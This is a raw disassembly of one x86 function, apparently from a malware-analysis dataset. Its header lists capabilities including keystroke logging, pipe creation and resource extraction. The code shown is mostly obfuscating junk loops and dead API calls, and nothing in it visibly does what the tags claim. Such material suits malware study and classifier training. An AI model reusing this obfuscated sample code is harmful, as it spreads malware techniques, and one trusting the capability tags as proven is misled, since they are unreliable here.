Function at 0x1000d965
Capabilities:
Accept command line arguments
Check os version
Create pipe
Extract resource via kernel32 functions
Get disk information
Log keystrokes

Disassembly:
mov eax, 0x10067e44
call fcn.100676e8
sub esp, 0xb1c
push ebx
push esi
mov dword [ebp - 0x3c], 0x3ceb
xor ebx, ebx
cmp dword [ebp - 0x3c], 0x3e6e
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x60], dl
mov dword [ebp - 0x5c], ecx
jle 0x1000d9ff
mov esi, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x40], ebx
mov eax, ebx
mov dword [ebp - 0x28], 0x3af0
mov dword [ebp - 0x54], eax
mov edi, eax
and edi, esi
mov esi, ebx
mov eax, edi
mov ecx, 0x106126b8
or eax, esi
cdq
push edx
push eax
call fcn.1001b17a
inc esi
cmp esi, 0x63e4
jl 0x1000d9ad
mov eax, dword [ebp - 0x54]
mov edi, dword [ebp - 0x40]
add eax, edi
dec dword [ebp - 0x28]
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x54], eax
jne 0x1000d9a7
inc edi
mov dword [ebp - 0x40], edi
cmp edi, 0x42d2
jl 0x1000d99b
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x52d8
jl 0x1000d998
push 1
push 0x171e
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov dword [ebp - 0x44], 0x76820624
xor ecx, ecx
mov dword [ebp - 0x18], 0xfffffff9
inc ecx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x44], ebx
jmp 0x1000da5a
mov dword [ebp - 0x30], 0x8c9dffbe
mov dword [ebp - 0x14], ebx
jmp 0x1000da32
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6c], 0x9869
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000da24
cmp dword [ebp - 0x44], ebx
je 0x1000da45
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xfffffff5
jne 0x1000da18
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], 0xffffffe7
jl 0x1000dc14
lea eax, [ebp - 0x590]
or edi, 0xffffffff
lea ecx, [ebp - 0x580]
push ecx
push ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x314]
push eax
movdqu xmmword [ebp - 0x590], xmm0
call fcn.1001b407
push 2
lea ecx, [ebp - 0x41c]
mov dword [ebp - 4], ebx
call fcn.1001b3ab
xor edx, edx
inc edx
mov byte [ebp - 4], dl
mov dword [ebp - 0x14], ebx
jmp 0x1000dac3
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x41c]
mov dword [eax + ecx*4], 0x3f201f9d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000dab0
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 3
jg 0x1000dbe2
mov esi, dword [ebp - 0x314]
mov dword [ebp - 0x2c], 0xc6d0f065
cmp dword [ebp - 0x44], ebx
jne 0x1000daf8
mov ecx, dword [ebp - 0x314]
mov eax, dword [ebp - 0x44]
cmp eax, dword [ecx + 4]
mov eax, ebx
jle 0x1000dafa
mov eax, edx
cmp eax, dword [ebp - 0x44]
jle 0x1000db02
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setle cl
xor edx, edx
cmp ecx, 0xd69fdb81
setne dl
xor ecx, ecx
imul edx, dword [esi + 8]
cmp edx, eax
setg cl
cmp dword [ebp - 0x2c], ecx
je 0x1000db52
mov dword [ebp - 0x2c], ebx
jmp 0x1000db4a
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000db47
call dword [sym.imp.KERNEL32.dll_GetLastError]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x1000db38
jmp 0x1000dbcb
lea ecx, [ebp - 0x844]
xorps xmm0, xmm0
push ecx
lea eax, [ebp - 0x834]
push eax
push ecx
lea ecx, [ebp - 0x338]
movdqu xmmword [ebp - 0x844], xmm0
call fcn.1001b407
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
neg eax
cmp edi, eax
sbb eax, eax
neg eax
sub eax, 0xbd72
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x85a0455d
mov eax, dword [ebp - 0x338]
sbb ecx, ecx
neg ecx
sub ecx, dword [eax + 4]
mov eax, dword [ebp - 0x41c]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x338]
cmp dword [ebp - 0x18], ebx
jne 0x1000dbdd
call fcn.1001b42d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
push 1
pop edx
jle 0x1000dadc
jmp 0x1000dbe2
call fcn.1001b42d
lea ecx, [ebp - 0x41c]
call fcn.1001b42d
lea ecx, [ebp - 0x314]
mov dword [ebp - 4], edi
call fcn.1001b42d
dec dword [ebp - 0x44]
lea eax, [ebp - 0x590]
cmp dword [ebp - 0x44], 0xffffffe7
lea ecx, [ebp - 0x580]
jge 0x1000da7c
push 2
lea ecx, [ebp - 0xc4]
or esi, 0xffffffff
call fcn.1001b3ab
push 3
lea ecx, [ebp - 0x4ac]
mov dword [ebp - 4], 2
call fcn.1001b3ab
mov byte [ebp - 4], 3
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x20], 0xb9f9b31
mov dword [ebp - 0x38], 0x693e9323
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 3
jge 0x1000dc73
xor edi, edi
inc edi
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xad0], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000dc60
mov dword [ebp - 0x20], ebx
jmp 0x1000dcf6
mov dword [ebp - 0x14], 0x85c6f1bf
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0x12
jge 0x1000dcf3
lea edi, [ebp - 0x7c8]
lea eax, [ebp - 0x7b8]
movdqa xmm0, xmmword [0x1000c480]
push ecx
push eax
push edi
lea ecx, [ebp - 0x600]
movdqu xmmword [ebp - 0x7c8], xmm0
call fcn.1001b407
mov eax, dword [ebp - 0x600]
dec dword [eax]
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000dcd9
push 0xb77
push ebx
push ebx
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
lea ecx, [ebp - 0x600]
call fcn.1001b42d
inc dword [ebp - 0x14]
lea eax, [ebp - 0x7b8]
cmp dword [ebp - 0x14], 0x12
jl 0x1000dc9d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xa
je 0x1000dc78
mov dword [ebp - 0x18], ebx
jmp 0x1000dd14
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc4]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000dd05
mov dword [ebp - 0x18], ebx
jmp 0x1000dd32
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4ac]
mov dword [eax + ecx*4], 0x4801897a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000dd1f
mov esi, dword [ebp - 0x4ac]
xor edx, edx
inc edx
mov dword [esi + 4], edx
mov dword [ebp - 0x50], 0xdc7555b7
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], edx
cmp dword [ebp - 0x50], ebx
jl 0x1000de3d
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1000dd78
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7a0], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000dd6b
mov eax, dword [ebp - 0x50]
imul eax, dword [esi + 4]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], ebx
je 0x1000dd9e
cmp dword [esi + 4], ebx
je 0x1000dd9e
mov eax, dword [ebp - 0xc4]
mov ecx, edx
cmp dword [eax], ebx
jne 0x1000dda0
mov ecx, ebx
mov eax, dword [ebp - 0x50]
add eax, ecx
mov ecx, dword [esi + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc4]
mov edi, dword [eax + ecx*4]
cmp edi, dword [ebp - 0x24]
jne 0x1000ddc3
mov eax, dword [ebp - 0x28]
cmp dword [eax + 4], ebx
je 0x1000ddc3
mov ebx, edx
xor eax, eax
mov edx, dword [esi + 4]
cmp ebx, 0xfffffff8
setne al
add eax, edi
imul ecx, eax, 0xfffe
mov eax, dword [ebp - 0x28]
sub ecx, dword [eax + 4]
neg ecx
sbb ecx, ecx
xor eax, eax
add ecx, 0x16df
cmp ecx, edi
mov ecx, dword [ebp - 0x79c]
setle al
xor ebx, ebx
add ecx, eax
mov eax, dword [ebp - 0xc4]
cmp ecx, dword [eax + edx*4]
mov eax, dword [ebp - 0x50]
setne bl
xor ecx, ecx
cmp ebx, eax
setne cl
xor ebx, ebx
xor edx, edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x1000de2f
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], bl
je 0x1000de2c
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edx, edx
inc edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jle 0x1000de1a
dec dword [ebp - 0x50]
jns 0x1000dd63
mov eax, dword [ebp - 0x24]
dec dword [esi + 4]
jns 0x1000dd44
mov dword [ebp - 0x24], 0xfffffffa
jmp 0x1000de9b
mov dword [ebp - 0x34], 0x3396d56a
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], ebx
jl 0x1000de98
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x1000de93
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x20], ebx
jmp 0x1000de89
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc4]
cmp dword [eax + ecx*4], ebx
jne 0x1000de8e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jle 0x1000de78
dec dword [ebp - 0x14]
jns 0x1000de70
dec dword [ebp - 0x34]
jns 0x1000de61
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1c
jge 0x1000de52
lea ecx, [ebp - 0x4ac]
call fcn.1001b42d
lea ecx, [ebp - 0xc4]
call fcn.1001b42d
mov dword [ebp - 4], 4
cmp dword [ebp - 0x3c], 0x3c19
jge 0x1000ded6
mov edx, 0x10007670
mov ecx, 0x106126b8
call fcn.1001d6f2
or dword [ebp - 4], 0xffffffff
push 2
lea ecx, [ebp - 0x100]
call fcn.1001b3ab
push 3
lea ecx, [ebp - 0x32c]
mov dword [ebp - 4], 6
call fcn.1001b3ab
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x18], ebx
jmp 0x1000df3b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x100]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000df2c
mov dword [ebp - 0x18], ebx
jmp 0x1000df59
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x32c]
mov dword [eax + ecx*4], 0x4801897a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000df46
mov esi, dword [ebp - 0x32c]
xor edx, edx
inc edx
mov dword [esi + 4], edx
mov dword [ebp - 0x50], 0xdc7555b7
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x50], edx
cmp dword [ebp - 0x50], ebx
jl 0x1000e064
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1000df9f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7b4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000df92
mov eax, dword [ebp - 0x50]
imul eax, dword [esi + 4]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
je 0x1000dfc5
cmp dword [esi + 4], ebx
je 0x1000dfc5
mov eax, dword [ebp - 0x100]
mov ecx, edx
cmp dword [eax], ebx
jne 0x1000dfc7
mov ecx, ebx
mov eax, dword [ebp - 0x50]
add eax, ecx
mov ecx, dword [esi + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x100]
mov edi, dword [eax + ecx*4]
cmp edi, dword [ebp - 0x24]
jne 0x1000dfea
mov eax, dword [ebp - 0x54]
cmp dword [eax + 4], ebx
je 0x1000dfea
mov ebx, edx
xor eax, eax
mov edx, dword [ebp - 0x7b0]
cmp ebx, 0xfffffff8
setne al
add eax, edi
imul ecx, eax, 0xfffe
mov eax, dword [ebp - 0x54]
sub ecx, dword [eax + 4]
neg ecx
sbb ecx, ecx
xor eax, eax
add ecx, 0x16df
cmp ecx, edi
mov ecx, dword [esi + 4]
setle al
xor ebx, ebx
add edx, eax
mov eax, dword [ebp - 0x100]
cmp edx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x50]
setne bl
xor ecx, ecx
cmp ebx, eax
setne cl
xor ebx, ebx
xor edx, edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x1000e056
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], bl
je 0x1000e053
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edx, edx
inc edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jle 0x1000e041
dec dword [ebp - 0x50]
jns 0x1000df8a
mov eax, dword [ebp - 0x24]
dec dword [esi + 4]
jns 0x1000df6b
mov dword [ebp - 0x24], 0xfffffffa
jmp 0x1000e0c2
mov dword [ebp - 0x34], 0x3396d56a
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], ebx
jl 0x1000e0bf
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x1000e0ba
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x20], ebx
jmp 0x1000e0b0
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x100]
cmp dword [eax + ecx*4], ebx
jne 0x1000e0b5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jle 0x1000e09f
dec dword [ebp - 0x14]
jns 0x1000e097
dec dword [ebp - 0x34]
jns 0x1000e088
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1c
jge 0x1000e079
lea ecx, [ebp - 0x32c]
call fcn.1001b42d
or edi, 0xffffffff
lea ecx, [ebp - 0x100]
mov dword [ebp - 4], edi
call fcn.1001b42d
push 2
lea ecx, [ebp - 0xb0]
call fcn.1001b3ab
mov dword [ebp - 4], 7
xor esi, esi
mov dword [ebp - 0x44], 0x76820624
inc esi
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], 0xfffffff5
je 0x1000e159
mov dword [ebp - 0x30], 0x8c9dffbe
mov dword [ebp - 0x14], ebx
jmp 0x1000e12f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x74], 0x9869
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000e121
cmp dword [ebp - 0x44], ebx
je 0x1000e142
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x44]
jmp 0x1000e10f
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], 0xffffffe7
jl 0x1000e30d
lea eax, [ebp - 0x570]
lea ecx, [ebp - 0x560]
push ecx
push ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x4f4]
push eax
movdqu xmmword [ebp - 0x570], xmm0
call fcn.1001b407
push 2
lea ecx, [ebp - 0x344]
mov byte [ebp - 4], 8
call fcn.1001b3ab
mov byte [ebp - 4], 9
mov dword [ebp - 0x14], ebx
jmp 0x1000e1b8
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x344]
mov dword [eax + ecx*4], 0x3f201f9d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000e1a5
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 3
jg 0x1000e2d7
mov edi, dword [ebp - 0x4f4]
mov dword [ebp - 0x2c], 0xc6d0f065
cmp dword [ebp - 0x44], ebx
jne 0x1000e1ed
mov ecx, dword [ebp - 0x4f4]
mov eax, dword [ebp - 0x44]
cmp eax, dword [ecx + 4]
mov eax, ebx
jle 0x1000e1ef
mov eax, esi
cmp eax, dword [ebp - 0x44]
jle 0x1000e1f7
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp eax, esi
mov eax, dword [ebp - 0x2c]
setle cl
xor edx, edx
cmp ecx, 0xd69fdb81
setne dl
xor ecx, ecx
imul edx, dword [edi + 8]
cmp edx, eax
setg cl
cmp dword [ebp - 0x2c], ecx
je 0x1000e247
mov dword [ebp - 0x2c], ebx
jmp 0x1000e23f
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000e23c
call dword [sym.imp.KERNEL32.dll_GetLastError]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x1000e22d
jmp 0x1000e2c3
lea ecx, [ebp - 0x804]
xorps xmm0, xmm0
push ecx
lea eax, [ebp - 0x7f4]
push eax
push ecx
lea ecx, [ebp - 0x434]
movdqu xmmword [ebp - 0x804], xmm0
call fcn.1001b407
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
or ecx, 0xffffffff
neg eax
cmp ecx, eax
sbb eax, eax
neg eax
sub eax, 0xbd72
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x85a0455d
mov eax, dword [ebp - 0x434]
sbb ecx, ecx
neg ecx
sub ecx, dword [eax + 4]
mov eax, dword [ebp - 0x344]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x434]
cmp dword [ebp - 0x18], ebx
jne 0x1000e2d2
call fcn.1001b42d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x1000e1d1
jmp 0x1000e2d7
call fcn.1001b42d
lea ecx, [ebp - 0x344]
call fcn.1001b42d
lea ecx, [ebp - 0x4f4]
mov byte [ebp - 4], 7
call fcn.1001b42d
dec dword [ebp - 0x44]
lea eax, [ebp - 0x570]
cmp dword [ebp - 0x44], 0xffffffe7
lea ecx, [ebp - 0x560]
jge 0x1000e172
or edi, 0xffffffff
push 3
lea ecx, [ebp - 0x524]
call fcn.1001b3ab
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x20], 0xb9f9b31
mov dword [ebp - 0x38], 0x693e9323
mov dword [ebp - 0x14], ebx
jmp 0x1000e33e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa28], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000e331
mov dword [ebp - 0x20], ebx
jmp 0x1000e3c7
mov dword [ebp - 0x14], 0x85c6f1bf
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0x12
jge 0x1000e3c4
lea esi, [ebp - 0x7e4]
lea eax, [ebp - 0x7d4]
movdqa xmm0, xmmword [0x1000c480]
push ecx
push eax
push esi
lea ecx, [ebp - 0x708]
movdqu xmmword [ebp - 0x7e4], xmm0
call fcn.1001b407
mov eax, dword [ebp - 0x708]
dec dword [eax]
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000e3aa
push 0xb77
push ebx
push ebx
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
lea ecx, [ebp - 0x708]
call fcn.1001b42d
inc dword [ebp - 0x14]
lea eax, [ebp - 0x7d4]
cmp dword [ebp - 0x14], 0x12
jl 0x1000e36e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xa
je 0x1000e349
mov dword [ebp - 0x20], ebx
lea ecx, [ebp - 0x630]
mov dword [ebp - 0x38], 7
push 2
call fcn.1001b3ab
mov byte [ebp - 4], 0xb
xor edx, edx
mov dword [ebp - 0x14], edi
inc edx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x18], ebx
jmp 0x1000e40c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x630]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000e3fd
push 3
mov dword [ebp - 0x18], ebx
pop esi
jmp 0x1000e42b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x618], 0x5dec4f3f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000e41a
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x1000e4d5
mov dword [ebp - 0x3c], edi
lea ecx, [ebp - 0x778]
mov dword [ebp - 0x30], 0xda585283
push esi
call fcn.1001b3ab
xor edx, edx
mov dword [ebp - 0x18], ebx
inc edx
cmp dword [ebp - 0x18], esi
jge 0x1000e46e
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x778]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
jmp 0x1000e458
mov dword [ebp - 0x18], ebx
jmp 0x1000e484
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x168], 0xa700
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000e473
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x164]
dec dword [ebp - 0x164]
test eax, eax
jne 0x1000e4b0
mov eax, dword [ebp - 0x618]
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x618], ebx
jne 0x1000e4b0
mov edx, ebx
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x778]
imul eax, edx
sub eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
call fcn.1001b42d
dec dword [ebp - 0x14]
jns 0x1000e43c
lea ecx, [ebp - 0x630]
mov byte [ebp - 4], 0xa
call fcn.1001b42d
mov dword [ebp - 0x18], ebx
jmp 0x1000e4f8
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb0]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000e4e9
mov dword [ebp - 0x18], ebx
jmp 0x1000e516
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x524]
mov dword [eax + ecx*4], 0x4801897a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000e503
mov dword [ebp - 0x50], 0xfffffffc
lea ecx, [ebp - 0x374]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x30], 0x76eea530
push esi
call fcn.1001b3ab
mov byte [ebp - 4], 0xc
xor edi, edi
mov dword [ebp - 0x30], 0x887c5c6a
inc edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x18], ebx
jmp 0x1000e561
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x374]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000e54e
mov dword [ebp - 0x18], ebx
jmp 0x1000e578
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xaf8], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1000e56b
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000e58e
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x50], 0xfffffff8
cmp dword [ebp - 0x50], 0x16
jle 0x1000e6bc
mov esi, dword [ebp - 0x374]
lea eax, [ebp - 0x550]
lea ecx, [ebp - 0x540]
movdqa xmm0, xmmword [0x1000c450]
push ecx
push ecx
mov dword [ebp - 0x34], 0xfffa
lea ecx, [ebp - 0x44c]
push eax
movdqu xmmword [ebp - 0x550], xmm0
call fcn.1001b407
push edi
lea ecx, [ebp - 0x35c]
mov byte [ebp - 4], 0xd
call fcn.1001b3ab
xor edx, edx
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x1000e5fb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5d4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1000e5ee
mov dword [ebp - 0x18], ebx
jmp 0x1000e618
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x35c]
mov dword [eax + ecx*4], 0x34832001
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1000e605
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
neg ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x50]
sbb ecx, ecx
mov eax, dword [ebp - 0x34]
neg ecx
mov eax, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x44c]
cmp ecx, dword [eax]
sete dl
sub edx, dword [eax]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44c]
cmp edx, dword [eax + 0xc]
setle cl
sub ecx, 0x9ca4f06
cmp ecx, dword [esi + 8]
jge 0x1000e66f
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x35c]
neg eax
sbb eax, eax
xor edi, edi
neg eax
inc edi
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x35c]
mov dword [eax], edi
call fcn.1001b42d
lea ecx, [ebp - 0x44c]
mov byte [ebp - 4], 0xc
call fcn.1001b42d
inc dword [ebp - 0x50]
lea eax, [ebp - 0x550]
cmp dword [ebp - 0x50], 0x16
lea ecx, [ebp - 0x540]
jg 0x1000e5b1
push 3
pop esi
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 0xa
call fcn.1001b42d
mov edi, dword [ebp - 0x524]
xor edx, edx
inc edx
mov dword [ebp - 0x40], edi
mov dword [edi + 4], edx
cmp dword [edi + 4], ebx
jl 0x1000f0dd
mov dword [ebp - 0x34], 0xdc7555b7
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], ebx
jl 0x1000f07d
mov dword [ebp - 0x20], 0xf5540d7f
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x30], 0x8b39
mov dword [ebp - 0x14], ebx
jmp 0x1000e720
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8c4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000e70f
mov dword [ebp - 0x20], 0xfffffff0
jmp 0x1000e7a7
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x28], 0x992f
mov dword [ebp - 0x14], ebx
jmp 0x1000e74e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2c4], 0x51ea66e5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000e73d
inc dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp eax, 0x4b25b3b9
mov dword [ebp - 0x8bc], eax
mov edx, dword [ebp - 0x30]
setle cl
mov dword [ebp - 0x2c4], edx
neg edx
cmp ecx, edx
jle 0x1000e794
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000e7a4
push 0x26bf
push 0x1e2b
call dword [sym.imp.GDI32.dll_SetROP2]
jmp 0x1000e7a4
mov dword [ebp - 0x4c], 0xfffffff9
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2c4], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffef
jl 0x1000e72e
push 2
lea ecx, [ebp - 0x71c]
call fcn.1001b3ab
mov dword [ebp - 0x14], 0x8d4081c2
mov dword [ebp - 0x14], ebx
